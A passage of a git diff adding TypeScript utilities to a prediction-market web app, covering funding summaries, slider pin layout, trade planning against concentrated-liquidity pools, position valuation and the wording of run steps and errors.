each option splits, as the run signs it: the sDAI as is, and what the credits swap's + * floor mints, from its quote. Undefined while a run spending credits has no quote yet. + */ +export function shownSplit( + funding: Pick, + creditsMinted: bigint | undefined, +): bigint | undefined { + if (funding.creditsIn > 0n && creditsMinted === undefined) return undefined; + return funding.collateralIn - funding.creditsIn + (creditsMinted ?? 0n); +} + +export function recoveryFunding(snapshot: PredictSnapshot) { + return { + collateralIn: snapshot.collateralIn + snapshot.creditsToSpend, + creditsIn: snapshot.creditsToSpend, + fromTradeWallet: min(snapshot.collateralIn, snapshot.collateralBefore), + }; +} + +/** Rounded down to the decimals the popup shows, so the signed amount is the shown amount. */ +export const roundToDisplay = cutToOwned; + +/** A whole percentage of `balance`, rounded down. */ +export const shareOf = (balance: bigint, percent: number): bigint => (balance * BigInt(Math.round(percent))) / 100n; + +/** What share of `balance` the value is, as a whole percentage. */ +export const percentOf = (value: bigint, balance: bigint): number => + balance === 0n ? 0 : Math.min(100, Number((value * 100n) / balance)); + +interface Token { + symbol: string; + decimals: number; +} + +export interface FundingSummary { + text: string; + tone: "neutral" | "error"; +} + +/** + * An amount at the popup's shown decimals, rounded to the nearest so a deposit a wei short of a + * typed amount reads as typed; a non-zero amount below the last decimal is named, not shown as 0. + */ +export function shownAmount(value: bigint, decimals: number): string { + const step = 10n ** BigInt(Math.max(decimals - OWNED_DECIMALS, 0)); + const shown = formatDisplayAmount(((value + step / 2n) / step) * step, decimals); + return shown === "0" && value > 0n ? `less than ${formatAmount(step, decimals)}` : shown; +} + +/** + * The one line under the amount: the collateral the prediction uses and where it comes from, or, + * over the balance, how much can be added. Null until an amount is typed. + */ +export function fundingSummary(args: { + funding: Funding | null; + amount: bigint | undefined; + token: Token & { id: PayToken }; + collateral: Token; +}): FundingSummary | null { + const { funding, amount, token, collateral } = args; + if (!funding || amount === undefined || amount === 0n) return null; + if (amount > funding.available) { + const max = roundToDisplay(funding.available, token.decimals); + const text = + max === 0n + ? "Not enough balance." + : `Not enough balance. Max ${shownAmount(max, token.decimals)} ${token.symbol}.`; + return { text, tone: "error" }; + } + + // credits reach the split through a swap, so their part is approximate, as an xDAI deposit is + const approx = token.id === "native" || funding.creditsIn > 0n; + const total = `${approx ? "≈ " : ""}${shownAmount(funding.collateralIn, collateral.decimals)} ${collateral.symbol}`; + const parts = [ + { amount: funding.creditsIn, from: "in credits", alone: "from your credits" }, + { amount: funding.fromTradeWallet, from: "in your trade wallet", alone: "from your trade wallet" }, + { amount: funding.toAdd, from: "from your wallet", alone: "from your wallet" }, + ].filter((part) => part.amount > 0n); + const text = + parts.length > 1 + ? `${total} = ${parts.map((part) => `${shownAmount(part.amount, collateral.decimals)} ${part.from}`).join(" + ")}` + : `${total} ${parts[0]?.alone ?? "from your wallet"}`; + return { text, tone: "neutral" }; +} diff --git a/apps/web/src/features/predict/utils/marketPin.ts b/apps/web/src/features/predict/utils/marketPin.ts new file mode 100644 index 00000000..94312cb5 --- /dev/null +++ b/apps/web/src/features/predict/utils/marketPin.ts @@ -0,0 +1,74 @@ +/** Room kept between the market's chip and the thumb's value pill, in px. */ +const PIN_CLEARANCE_PX = 4; + +/** How far beyond the clearance the chip starts to dip, in px. */ +const PIN_PREFLIGHT_PX = 40; + +/** The share of its full drop the chip dips before it drops, keeping it above the track. */ +export const PIN_PREFLIGHT_DROP = 0.2; + +/** How far the market's point may lie outside a dropped chip's edge: the stick's 3px width. */ +const PIN_EDGE_PX = 3; + +/** Half the slider's 24px thumb. */ +const THUMB_RADIUS_PX = 12; + +const clamp = (value: number, low: number, high: number) => Math.min(Math.max(value, low), high); + +/** The chip's left edge, centred on the market's point but kept on the track. */ +export function chipLeft(size: { track: number; chip: number }, market: number): number { + return clamp(market * size.track - size.chip / 2, 0, Math.max(size.track - size.chip, 0)); +} + +/** + * A dropped chip's left edge: centred as `chipLeft` places it, slid clear of the bound labels while it + * still spans the market's point, give or take `PIN_EDGE_PX`; centred where it cannot do both. + */ +export function droppedChipLeft( + size: { track: number; chip: number; lower: number; upper: number }, + market: number, +): number { + const centred = chipLeft(size, market); + const point = market * size.track; + const low = Math.max(size.lower + PIN_CLEARANCE_PX, point - size.chip - PIN_EDGE_PX); + const high = Math.min(size.track - size.upper - PIN_CLEARANCE_PX - size.chip, point + PIN_EDGE_PX); + return low > high ? centred : clamp(centred, low, high); +} + +/** + * Px between the chip and what the thumb draws, the pill and the thumb itself; negative when + * they overlap. The pill's left edge sits at `thumb` of the track it does not cover, as its CSS places it. + */ +export function pinGap( + size: { track: number; pill: number; chip: number }, + share: { thumb: number; market: number }, +): number { + if (size.track === 0) return share.thumb === share.market ? -1 : Number.POSITIVE_INFINITY; + + const centre = share.thumb * size.track; + const pillLeft = share.thumb * (size.track - size.pill); + const left = Math.min(pillLeft, centre - THUMB_RADIUS_PX); + const right = Math.max(pillLeft + size.pill, centre + THUMB_RADIUS_PX); + const chip = chipLeft(size, share.market); + return Math.max(chip - right, left - (chip + size.chip)); +} + +/** + * The widest the open field can be with its edge `PIN_CLEARANCE_PX` short of the raised chip, in px. The field's + * left edge sits at `thumb` of the track it does not cover, so it grows towards the chip by `1 - thumb` of its width. + * Wider than the closed pill wherever `pinGap` leaves the chip raised, as the pill then already clears it. + */ +export function fieldMaxWidth(size: { track: number; chip: number }, share: { thumb: number; market: number }): number { + if (size.track === 0) return Number.POSITIVE_INFINITY; + const centre = share.thumb * size.track; + const chip = chipLeft(size, share.market); + return chip > centre + ? (chip - PIN_CLEARANCE_PX - centre) / (1 - share.thumb) + : (centre - chip - size.chip - PIN_CLEARANCE_PX) / share.thumb; +} + +/** How far down the pin sits, 0 to 1: a shallow dip across the preflight band, then the whole drop. */ +export function pinDrop(gap: number): number { + if (gap <= PIN_CLEARANCE_PX) return 1; + return PIN_PREFLIGHT_DROP * clamp((PIN_CLEARANCE_PX + PIN_PREFLIGHT_PX - gap) / PIN_PREFLIGHT_PX, 0, 1); +} diff --git a/apps/web/src/features/predict/utils/plan.ts b/apps/web/src/features/predict/utils/plan.ts new file mode 100644 index 00000000..1109232b --- /dev/null +++ b/apps/web/src/features/predict/utils/plan.ts @@ -0,0 +1,381 @@ +import type { PoolLiquidity } from "@/types/pool"; + +import { + feeOf, + limitSqrtPriceX96, + priceFromSqrtPriceX96, + swapToward, + volumeUntilPrice, + type PoolVolumes, +} from "./poolMath"; +import { PRICE_TOLERANCE_TICKS } from "../oracle/tolerances"; + +/** + * Turning one option's estimate into trades. Splitting the underlying gives an equal amount of + * both outcome tokens, so a prediction sells the side the market has too high, merges what is + * left in pairs, and spends the proceeds on the side it has too low. + */ + +const WAD = 10n ** 18n; + +/** Below a hundredth of a token a leg costs more gas than its price move is worth. */ +export const MIN_LEG_WEI = 10n ** 16n; + +/** Of ten thousand, held back from the buys beyond what slippage lets a sell fall short by. */ +const BUY_BUDGET_MARGIN_BPS = 100n; + +/** Of ten thousand, what the buys may spend of the sells' quoted proceeds and the merge. */ +export const buyBudgetShareBps = (slippageBps: number): bigint => 10_000n - BigInt(slippageBps) - BUY_BUDGET_MARGIN_BPS; + +/** + * Of ten thousand, added to what a leg is sized to need. Algebra re-derives its fee from volatility + * on a block's first swap, so it can rise between the read and the swap; the price limit stops + * the leg at the target and the excess stays in the trade wallet. + */ +export const LEG_HEADROOM_BPS = 100n; + +const withHeadroom = (amount: bigint): bigint => (amount * (10_000n + LEG_HEADROOM_BPS)) / 10_000n; + +export type OptionSide = "up" | "down"; + +const SIDES = ["up", "down"] as const; + +export interface OutcomeBalances { + up: bigint; + down: bigint; + /** Seer wraps an INVALID outcome past the named ones, and a merge burns the whole set. */ + invalid: bigint; +} + +export interface OptionTarget { + /** Each outcome token's pool against this option's underlying. */ + pools: Record; + /** The visitor's estimate as the UP token's price; the clamp on it keeps DOWN off zero too. */ + targetPriceWad: bigint; + /** What the executor holds before the split. */ + held: OutcomeBalances; + /** Underlying to split first, which adds the same amount to all three balances. */ + splitAmount: bigint; +} + +export interface SwapLeg { + side: OptionSide; + /** Outcome tokens for a sell, underlying for a buy. */ + amountIn: bigint; + /** The pool's sqrt price at this side's target, which the swap may not pass. */ + limitSqrtPrice: bigint; + /** What the swap spends if it runs all the way to the limit. */ + amountInAtLimit: bigint; + /** What the swap returns if it runs all the way to the limit. */ + amountOutAtLimit: bigint; +} + +export interface SoldLeg extends Pick { + /** What selling `amountIn` was quoted to return. */ + underlyingOut: bigint; +} + +export interface BuyPlan { + /** Outcome sets to merge back to underlying. */ + mergeAmount: bigint; + legs: SwapLeg[]; +} + +interface SideState { + /** How far the market has to move to meet the estimate. Positive is a rise, which is a buy. */ + gap: bigint; + volumes: PoolVolumes; + limitSqrtPrice: bigint; + /** The outcome tokens this side will hold once the split lands. */ + held: bigint; +} + +const min = (a: bigint, b: bigint): bigint => (a < b ? a : b); + +/** Null where the pool never priced, which leaves that side untradeable. */ +function sideState(option: OptionTarget, side: OptionSide): SideState | null { + const pool = option.pools[side]; + if (pool.sqrtPriceX96 <= 0n) return null; + + const target = side === "up" ? option.targetPriceWad : WAD - option.targetPriceWad; + const current = priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + + return { + gap: target - current, + volumes: volumeUntilPrice(pool, target), + limitSqrtPrice: limitSqrtPriceX96(target, pool.outcomeIsToken0, target > current), + held: option.held[side] + option.splitAmount, + }; +} + +/** Every priced side of `option` sits within `PRICE_TOLERANCE_TICKS` of its estimate. */ +export function atEstimate(option: Pick): boolean { + const ticks = BigInt(PRICE_TOLERANCE_TICKS); + const [above, below] = [10_001n ** ticks, 10_000n ** ticks]; + const priced = SIDES.filter((side) => option.pools[side].sqrtPriceX96 > 0n); + return ( + priced.length > 0 && + priced.every((side) => { + const pool = option.pools[side]; + const target = side === "up" ? option.targetPriceWad : WAD - option.targetPriceWad; + const price = priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + return price * below <= target * above && price * above >= target * below; + }) + ); +} + +/** The sides the market holds above the estimate, each sold as far as the balance reaches. */ +export function planSells(option: OptionTarget): SwapLeg[] { + const legs: SwapLeg[] = []; + + for (const side of SIDES) { + const state = sideState(option, side); + if (state === null || state.gap >= 0n) continue; + + const amountIn = min(withHeadroom(state.volumes.outcome), state.held); + if (amountIn >= MIN_LEG_WEI) { + legs.push({ + side, + amountIn, + limitSqrtPrice: state.limitSqrtPrice, + amountInAtLimit: state.volumes.outcome, + amountOutAtLimit: state.volumes.underlying, + }); + } + } + + return legs; +} + +/** + * What the sells paid for, once they are quoted: the pairs left over merge back to underlying, + * and the total buys the sides the market holds below the estimate, each weighted by how far it + * has to travel, with what one side does not need going to the other. `slippageBps` is how far, + * in hundredths of a percent, a sell may pay under its quote. + */ +export function planBuys(option: OptionTarget, sold: readonly SoldLeg[], slippageBps: number): BuyPlan { + let proceeds = 0n; + const soldBySide: Record = { up: 0n, down: 0n }; + for (const leg of sold) { + soldBySide[leg.side] += leg.amountIn; + proceeds += leg.underlyingOut; + } + + const remaining = { + up: option.held.up + option.splitAmount - soldBySide.up, + down: option.held.down + option.splitAmount - soldBySide.down, + }; + const mergeAmount = min(min(remaining.up, remaining.down), option.held.invalid + option.splitAmount); + const budget = ((proceeds + mergeAmount) * buyBudgetShareBps(slippageBps)) / 10_000n; + + const buying = SIDES.map((side) => ({ side, state: sideState(option, side) })).filter( + (entry): entry is { side: OptionSide; state: SideState } => entry.state !== null && entry.state.gap > 0n, + ); + const amounts = allot( + budget, + buying.map(({ state }) => ({ weight: state.gap, cap: withHeadroom(state.volumes.underlying) })), + ); + + const legs: SwapLeg[] = []; + for (const [index, { side, state }] of buying.entries()) { + const amountIn = amounts[index]!; + if (amountIn >= MIN_LEG_WEI) { + legs.push({ + side, + amountIn, + limitSqrtPrice: state.limitSqrtPrice, + amountInAtLimit: state.volumes.underlying, + amountOutAtLimit: state.volumes.outcome, + }); + } + } + + // A sell leaves pairs behind, and a pair left unmerged is money sitting in two halves. An + // option nothing was done to is left alone instead, rather than paying gas to rearrange it. + return { mergeAmount: legs.length > 0 || sold.length > 0 ? mergeAmount : 0n, legs }; +} + +/** + * Shares `budget` by weight, none above its cap; what a capped share leaves goes to the others + * by weight, until the budget is spent or every share is at its cap. + */ +function allot(budget: bigint, shares: readonly { weight: bigint; cap: bigint }[]): bigint[] { + const amounts = shares.map(() => 0n); + let left = budget; + let open = shares.map((_, index) => index); + while (left > 0n && open.length > 0) { + const weight = open.reduce((sum, index) => sum + shares[index]!.weight, 0n); + const uncapped: number[] = []; + let given = 0n; + for (const index of open) { + const share = (left * shares[index]!.weight) / weight; + const room = shares[index]!.cap - amounts[index]!; + const take = min(share, room); + amounts[index]! += take; + given += take; + if (take === share) uncapped.push(index); + } + left -= given; + if (uncapped.length === open.length) break; + open = uncapped; + } + return amounts; +} + +/** A leg as the preview shows it. */ +interface PreviewLeg { + side: OptionSide; + /** What the swap spends: the leg's amount, or less where the pool reaches the target first. */ + amountIn: bigint; + /** The pool reaches the target before the leg's amount is spent, so `amountIn` is the pool maths' figure. */ + toTarget: boolean; + /** The pool's fee on `amountIn`: outcome tokens for a sell, underlying for a buy. */ + fee: bigint; +} + +/** One option's trades as the pool maths plays them out against the pools as read. */ +export interface PreviewTrades { + /** Underlying split into one of each outcome token. */ + split: bigint; + sells: (PreviewLeg & { underlyingOut: bigint })[]; + /** Outcome sets merged back to underlying. */ + merge: bigint; + buys: (PreviewLeg & { outcomeOut: bigint })[]; + /** The UP token's price before and after, as a wad. */ + from: bigint; + to: bigint; + /** Every leg's fee in underlying, a sell's valued at what that sell pays per outcome token. */ + feeValue: bigint; +} + +/** The leg's headroom stays in the trade wallet when the price limit stops the swap at the target. */ +function spent(leg: SwapLeg, pool: PoolLiquidity): PreviewLeg { + const amountIn = min(leg.amountIn, leg.amountInAtLimit); + return { side: leg.side, amountIn, toTarget: leg.amountInAtLimit < leg.amountIn, fee: feeOf(pool, amountIn) }; +} + +/** + * The trades `planSells` and `planBuys` make for one option, each filled by the pool maths alone, and where they + * leave the UP price; null where the UP pool never priced. The run quotes the pools as they are when it signs. + */ +export function previewTrades(option: OptionTarget, slippageBps: number): PreviewTrades | null { + const up = option.pools.up; + if (up.sqrtPriceX96 <= 0n) return null; + + const target = (side: OptionSide) => (side === "up" ? option.targetPriceWad : WAD - option.targetPriceWad); + const from = priceFromSqrtPriceX96(up.sqrtPriceX96, up.outcomeIsToken0); + let to = from; + + const sold = planSells(option).map((leg) => { + const swap = swapToward(option.pools[leg.side], target(leg.side), leg.amountIn); + if (leg.side === "up") to = swap.priceWad; + return { leg, underlyingOut: swap.amountOut }; + }); + // the run sizes the merge and the buys from the legs as planned, headroom included + const plan = planBuys( + option, + sold.map(({ leg, underlyingOut }) => ({ side: leg.side, amountIn: leg.amountIn, underlyingOut })), + slippageBps, + ); + const buys = plan.legs.map((leg) => { + const swap = swapToward(option.pools[leg.side], target(leg.side), leg.amountIn); + if (leg.side === "up") to = swap.priceWad; + return { ...spent(leg, option.pools[leg.side]), outcomeOut: swap.amountOut }; + }); + const sells = sold.map(({ leg, underlyingOut }) => ({ ...spent(leg, option.pools[leg.side]), underlyingOut })); + const feeValue = + sells.reduce((sum, leg) => sum + (leg.amountIn > 0n ? (leg.fee * leg.underlyingOut) / leg.amountIn : 0n), 0n) + + buys.reduce((sum, leg) => sum + leg.fee, 0n); + + // an option with no legs is left out of the run, so nothing of it is split either + const trades = sells.length > 0 || buys.length > 0; + return { split: trades ? option.splitAmount : 0n, sells, merge: plan.mergeAmount, buys, from, to, feeValue }; +} + +/** `now` is within `toleranceBps` of `shown`, as a share of `shown`. */ +function near(shown: bigint, now: bigint, toleranceBps: number): boolean { + const off = shown < now ? now - shown : shown - now; + return off * 10_000n <= shown * BigInt(toleranceBps); +} + +const sameShape = (shown: readonly PreviewLeg[], now: readonly PreviewLeg[]) => + shown.length === now.length && + shown.every((leg, index) => leg.side === now[index]!.side && leg.toTarget === now[index]!.toTarget); + +/** + * Whether the pools as read now give another plan than the one shown: another leg, another side, + * an estimate reached or missed, or a figure moved by more than `toleranceBps`. + */ +export function planChanged(shown: PreviewTrades, now: PreviewTrades, toleranceBps: number): boolean { + if (!sameShape(shown.sells, now.sells) || !sameShape(shown.buys, now.buys)) return true; + const figures = (trades: PreviewTrades) => [ + trades.merge, + trades.to, + ...trades.sells.flatMap((leg) => [leg.amountIn, leg.underlyingOut]), + ...trades.buys.flatMap((leg) => [leg.amountIn, leg.outcomeOut]), + ]; + const before = figures(shown); + return figures(now).some((figure, index) => !near(before[index]!, figure, toleranceBps)); +} + +/** A leg as the run quoted it: what it spends where its limit stops it, and what the quote pays. */ +export interface QuotedLeg { + side: OptionSide; + amountIn: bigint; + amountOut: bigint; +} + +/** One option's legs as quoted, or as a plan shows them. */ +export interface QuotedLegs { + sells: readonly QuotedLeg[]; + buys: readonly QuotedLeg[]; +} + +/** `plan`'s legs, each with what it spends and what it pays. */ +export const shownLegs = (plan: PreviewTrades): QuotedLegs => ({ + sells: plan.sells.map(({ side, amountIn, underlyingOut }) => ({ side, amountIn, amountOut: underlyingOut })), + buys: plan.buys.map(({ side, amountIn, outcomeOut }) => ({ side, amountIn, amountOut: outcomeOut })), +}); + +/** `plan` with each leg's spend and output as `quotes` give them; a leg they do not quote keeps the plan's. */ +export function withQuotes(plan: PreviewTrades, quotes: QuotedLegs): PreviewTrades { + const quoted = (legs: readonly QuotedLeg[], side: OptionSide) => legs.find((leg) => leg.side === side); + return { + ...plan, + sells: plan.sells.map((leg) => { + const now = quoted(quotes.sells, leg.side); + return now ? { ...leg, underlyingOut: now.amountOut } : leg; + }), + buys: plan.buys.map((leg) => { + const now = quoted(quotes.buys, leg.side); + return now ? { ...leg, amountIn: now.amountIn, outcomeOut: now.amountOut } : leg; + }), + }; +} + +/** `now` is more than `toleranceBps` below `shown`, as a share of `shown`. */ +const short = (shown: bigint, now: bigint, toleranceBps: number) => + now * 10_000n < shown * (10_000n - BigInt(toleranceBps)); + +/** + * Whether a live quote pays less than `shown`'s leg on the same side by more than `toleranceBps`, a buy spends less + * than shown, or a leg shown is not quoted at all. A quoted leg `shown` does not have is left to the pools' check. + */ +export function quotesShort(shown: QuotedLegs, quoted: QuotedLegs, toleranceBps: number): boolean { + const legShort = (before: QuotedLeg, legs: readonly QuotedLeg[], buy: boolean) => { + const now = legs.find((each) => each.side === before.side); + if (now === undefined) return true; + return ( + short( + before.amountIn === 0n ? before.amountOut : (before.amountOut * now.amountIn) / before.amountIn, + now.amountOut, + toleranceBps, + ) || + (buy && short(before.amountIn, now.amountIn, toleranceBps)) + ); + }; + return ( + shown.sells.some((leg) => legShort(leg, quoted.sells, false)) || + shown.buys.some((leg) => legShort(leg, quoted.buys, true)) + ); +} diff --git a/apps/web/src/features/predict/utils/poolMath.ts b/apps/web/src/features/predict/utils/poolMath.ts new file mode 100644 index 00000000..8f0c84fc --- /dev/null +++ b/apps/web/src/features/predict/utils/poolMath.ts @@ -0,0 +1,150 @@ +import { sqrtPriceAtTick } from "@/lib/swap/tickMath"; + +import type { PoolLiquidity } from "@/types/pool"; + +/** + * Concentrated-liquidity maths for one child pool. Both sides are 18-decimal tokens — a pool + * pairs an outcome token with the parent's wrapped outcome — so every amount here is wei. + */ + +const Q96 = 2n ** 96n; +const Q192 = Q96 * Q96; +const WAD = 10n ** 18n; + +/** Square root rounded down. */ +export function isqrt(value: bigint): bigint { + if (value < 0n) throw new RangeError("isqrt of a negative value"); + if (value < 2n) return value; + + // seeding at 2^ceil(bits/2) keeps Newton to a handful of steps on a 192-bit input + let previous = 1n << ((BigInt(value.toString(2).length) + 1n) >> 1n); + let current = (previous + value / previous) >> 1n; + while (current < previous) { + previous = current; + current = (previous + value / previous) >> 1n; + } + return previous; +} + +/** Underlying per whole outcome token, 1e18-scaled. The indexer stores this same value. */ +export function priceFromSqrtPriceX96(sqrtPriceX96: bigint, outcomeIsToken0: boolean): bigint { + const ratio = sqrtPriceX96 * sqrtPriceX96; + return outcomeIsToken0 ? (ratio * WAD) / Q192 : (Q192 * WAD) / ratio; +} + +export function sqrtPriceX96FromPrice(priceWad: bigint, outcomeIsToken0: boolean): bigint { + if (priceWad <= 0n) throw new RangeError("a pool price must be above zero"); + return outcomeIsToken0 ? isqrt((priceWad * Q192) / WAD) : isqrt((Q192 * WAD) / priceWad); +} + +/** Square root rounded up. */ +function isqrtUp(value: bigint): bigint { + const root = isqrt(value); + return root * root < value ? root + 1n : root; +} + +/** + * The sqrt price a swap toward `targetPriceWad` is limited to, rounded so the pool can stop there + * without its price passing the target. A buy raises the outcome's price, a sell lowers it. + */ +export function limitSqrtPriceX96(targetPriceWad: bigint, outcomeIsToken0: boolean, buying: boolean): bigint { + if (targetPriceWad <= 0n) throw new RangeError("a pool price must be above zero"); + // for token0 the sqrt price rises with the outcome's price, for token1 it falls + const roundUp = buying !== outcomeIsToken0; + if (outcomeIsToken0) { + const ratio = targetPriceWad * Q192; + return roundUp ? isqrtUp((ratio + WAD - 1n) / WAD) : isqrt(ratio / WAD); + } + const ratio = Q192 * WAD; + return roundUp ? isqrtUp((ratio + targetPriceWad - 1n) / targetPriceWad) : isqrt(ratio / targetPriceWad); +} + +export interface PoolVolumes { + /** Outcome tokens that change hands. */ + outcome: bigint; + /** Underlying against them. */ + underlying: bigint; +} + +const FEE_DENOMINATOR = 1_000_000n; + +/** The pool's fee on `amountIn` going in, in that token, rounded up as Algebra takes it. */ +export const feeOf = (pool: Pick, amountIn: bigint): bigint => + (amountIn * pool.fee + FEE_DENOMINATOR - 1n) / FEE_DENOMINATOR; + +/** + * What it takes to move the pool to `targetPriceWad`, as magnitudes — the caller knows from the + * prices whether that is a buy or a sell. Walks the initialised ticks in between, and the side + * going in includes the pool's fee. + */ +export function volumeUntilPrice(pool: PoolLiquidity, targetPriceWad: bigint): PoolVolumes { + // a pool that never initialised sits at zero, which would divide by zero below + if (pool.sqrtPriceX96 <= 0n) return { outcome: 0n, underlying: 0n }; + + const target = sqrtPriceX96FromPrice(targetPriceWad, pool.outcomeIsToken0); + const rising = target > pool.sqrtPriceX96; + // as in Algebra's swap loop: rising crosses the ticks above the pool's tick, falling its own and those below + const crossed = pool.ticks + .filter(({ tick }) => (rising ? tick > pool.tick : tick <= pool.tick)) + .sort((a, b) => (rising ? a.tick - b.tick : b.tick - a.tick)); + + let amount0 = 0n; + let amount1 = 0n; + let liquidity = pool.liquidity; + let from = pool.sqrtPriceX96; + for (const next of [...crossed, null]) { + const boundary = next === null ? target : sqrtPriceAtTick(next.tick); + const to = (rising ? boundary < target : boundary > target) ? boundary : target; + const [lower, upper] = from < to ? [from, to] : [to, from]; + if (lower > 0n && liquidity > 0n) { + amount0 += (liquidity * Q96 * (upper - lower)) / (lower * upper); + amount1 += (liquidity * (upper - lower)) / Q96; + } + if (to === target || next === null) break; + + liquidity = rising ? liquidity + next.liquidityDelta : liquidity - next.liquidityDelta; + from = to; + } + + // a rising sqrt price is token1 going in, a falling one token0 + const kept = FEE_DENOMINATOR - pool.fee; + const gross = (net: bigint) => (net * FEE_DENOMINATOR + kept - 1n) / kept; + if (rising) amount1 = gross(amount1); + else amount0 = gross(amount0); + + return pool.outcomeIsToken0 ? { outcome: amount0, underlying: amount1 } : { outcome: amount1, underlying: amount0 }; +} + +export interface SwapResult { + /** The outcome token's price the pool ends at. */ + priceWad: bigint; + amountOut: bigint; +} + +/** + * Where a swap of `amountIn` (fee included) toward `targetPriceWad` leaves the pool, never past + * the target, as a swap limited there would. Searches the price that `volumeUntilPrice` sizes to the amount. + */ +export function swapToward(pool: PoolLiquidity, targetPriceWad: bigint, amountIn: bigint): SwapResult { + if (pool.sqrtPriceX96 <= 0n) return { priceWad: 0n, amountOut: 0n }; + + const current = priceFromSqrtPriceX96(pool.sqrtPriceX96, pool.outcomeIsToken0); + const buying = targetPriceWad > current; + const legs = (priceWad: bigint) => { + const volumes = volumeUntilPrice(pool, priceWad); + return buying ? { in: volumes.underlying, out: volumes.outcome } : { in: volumes.outcome, out: volumes.underlying }; + }; + + let reached = current; + let beyond = targetPriceWad; + if (legs(targetPriceWad).in <= amountIn) reached = targetPriceWad; + else { + while (beyond - reached > 1n || reached - beyond > 1n) { + const middle = (reached + beyond) / 2n; + if (legs(middle).in <= amountIn) reached = middle; + else beyond = middle; + } + } + + return { priceWad: reached, amountOut: reached === current ? 0n : legs(reached).out }; +} diff --git a/apps/web/src/features/predict/utils/position.ts b/apps/web/src/features/predict/utils/position.ts new file mode 100644 index 00000000..f2ae843f --- /dev/null +++ b/apps/web/src/features/predict/utils/position.ts @@ -0,0 +1,43 @@ +import type { OptionScale } from "@/types/optionScale"; + +import type { SelectedEstimate } from "../types"; + +const WAD = 10n ** 18n; + +/** Decimals a position is shown at. */ +export const POSITION_DIGITS = 2; + +/** What a trade wallet holds of one option's UP and DOWN tokens, in base units. */ +export interface OptionPosition { + up: bigint; + down: bigint; +} + +/** + * What the position pays out if the option resolves at `estimate`, in the option's own outcome + * token: each UP pays the estimate's share of the scale, each DOWN the rest. + */ +export function positionWorth( + position: OptionPosition, + estimate: number, + scale: Pick, +): bigint { + const range = scale.upperBound - scale.lowerBound; + const share = range > 0 ? Math.min(1, Math.max(0, (estimate - scale.lowerBound) / range)) : 0; + // a share in millionths keeps the float's debris out of the wad + const upWad = (BigInt(Math.round(share * 1e6)) * WAD) / 1_000_000n; + return (position.up * upWad + position.down * (WAD - upWad)) / WAD; +} + +/** The side the position is weighted to, which is the side the visitor predicted. */ +export function positionLeaning(position: OptionPosition): SelectedEstimate["direction"] | null { + if (position.up > position.down) return "higher"; + if (position.down > position.up) return "lower"; + return null; +} + +/** False for a holding that would read "0 UP · 0 DOWN" at POSITION_DIGITS. */ +export function isShownPosition(position: OptionPosition, decimals: number): boolean { + const least = 10n ** BigInt(Math.max(decimals - POSITION_DIGITS, 0)); + return position.up >= least || position.down >= least; +} diff --git a/apps/web/src/features/predict/utils/predictSteps.ts b/apps/web/src/features/predict/utils/predictSteps.ts new file mode 100644 index 00000000..b8114c18 --- /dev/null +++ b/apps/web/src/features/predict/utils/predictSteps.ts @@ -0,0 +1,325 @@ +import type { Address } from "viem"; + +import { shortenAddress } from "@/utils/address"; +import { FEE_ONLY_OUT_OF_FUNDS_COPY, OUT_OF_FUNDS_COPY } from "@/utils/txErrorText"; + +import { shownAmount, type Funding } from "./funding"; +import { STEP_ID } from "../flow/stepIds"; +import type { PredictProgress } from "../run/types"; +import type { PayToken } from "../types"; + +export type StepView = "idle" | "running" | "done" | "inactive" | "failed"; + +export interface PredictStepRow { + key: "wallet" | "funds" | "predict"; + title: string; + subtitle: string; + view: StepView; +} + +export interface PredictSteps { + rows: PredictStepRow[]; + /** Set once a run has stopped short, in words the visitor can act on; the row that stopped reads `failed`. */ + failure?: string; + /** The stopped run's transaction was sent and may still confirm, so `failure` is a warning. */ + pending?: true; + /** What the run is doing while it checks a sent transaction before going on. */ + note?: string; + /** A run exists, so the line shown before one no longer applies. */ + started?: true; + /** The routes are being priced before the run's first step, which no step row shows. */ + pricing?: true; +} + +/** The credits swap has no quote or route, so a run spending credits cannot be planned. */ +export const CREDITS_UNAVAILABLE = "Credits can't be spent now. Untick them to use your own funds."; + +/** The session's close time has passed; the popup refuses to start or go on. */ +export const SESSION_CLOSED = "This session has closed."; + +/** A stored run another open tab is driving; the card and the popup both say it. */ +export const RUNNING_ELSEWHERE = "This prediction is running in another tab. Finish or close it there."; + +/** A stored run this tab holds for a wallet prompt that a closed popup left open; the card and the popup both say it. */ +export const PROMPT_OPEN = "A wallet prompt from this page is still open. Answer it in your wallet."; + +/** Said before a send that may still be open in the wallet is signed again. */ +export const SIGN_AGAIN_ASK = + "A wallet prompt from this run may still be open. Check your wallet before signing again."; + +/** The chain's own errors name gas and contracts, which the popup never shows. */ +const FAILURE_COPY: Record["reason"], string> = { + rejected: "You declined in your wallet.", + cancelled: "Cancelled or replaced in your wallet.", + reverted: "The trade failed at these prices. Raise slippage in Settings and retry.", + rpc: "The network did not answer.", + unknown: "Something went wrong.", + "no-route": "No trade found for these estimates. Try a larger amount.", + "at-estimates": "Prices are already at your estimates. Nothing to trade.", + quote: "Could not get prices. Try again shortly.", + funds: OUT_OF_FUNDS_COPY, + balance: "Trade wallet balance is lower than shown. Check the amount.", + credits: CREDITS_UNAVAILABLE, + "deposit-unconfirmed": "Your last transaction may still be confirming. Check your wallet.", + pending: "A transaction from your wallet is still confirming. Try again once it lands.", + "wrong-wallet": "Started from another wallet. Connect it to finish.", + "wrong-chain": "Started on another network. Switch to it to finish.", + elsewhere: RUNNING_ELSEWHERE, + "prompt-open": PROMPT_OPEN, + closed: SESSION_CLOSED, + unlisted: "This transaction isn't one Foresight sends, so it wasn't sent.", + storage: + "This browser couldn't save the prediction's progress, so no wallet prompt was opened. Free up storage or leave private browsing, then try again.", + held: "Your wallet may still send the last transaction. Check again in a few minutes.", + resign: SIGN_AGAIN_ASK, + unseen: "The network can't find your last transaction yet. Check again, or discard it.", +}; + +/** Once the credits are in the trade wallet the run is locked to them, so only waiting helps. */ +const CREDITS_LOCKED_COPY = "Credits can't be spent now. Try again shortly."; + +/** A transaction is out there and nothing has said how it ended, so it is neither a success nor a failure. */ +const PENDING_COPY = "Sent, not confirmed yet."; + +const RECONCILING_COPY = "Checking your last transaction…"; + +/** Said by the summary row and the button while the routes are priced, and by a step quoting mid-run. */ +export const CHECKING_PRICES = "Checking prices…"; + +const STAGE_COPY: Partial> = { + quoting: CHECKING_PRICES, + signing: "Confirm in your wallet", + confirming: "Confirming…", +}; + +/** What the funds step adds, frozen when a run starts so a refreshed balance does not rewrite it. */ +export interface FundsToAdd { + /** In the token the visitor pays with. */ + toAdd: bigint; + symbol: string; + decimals: number; + /** Credits moved 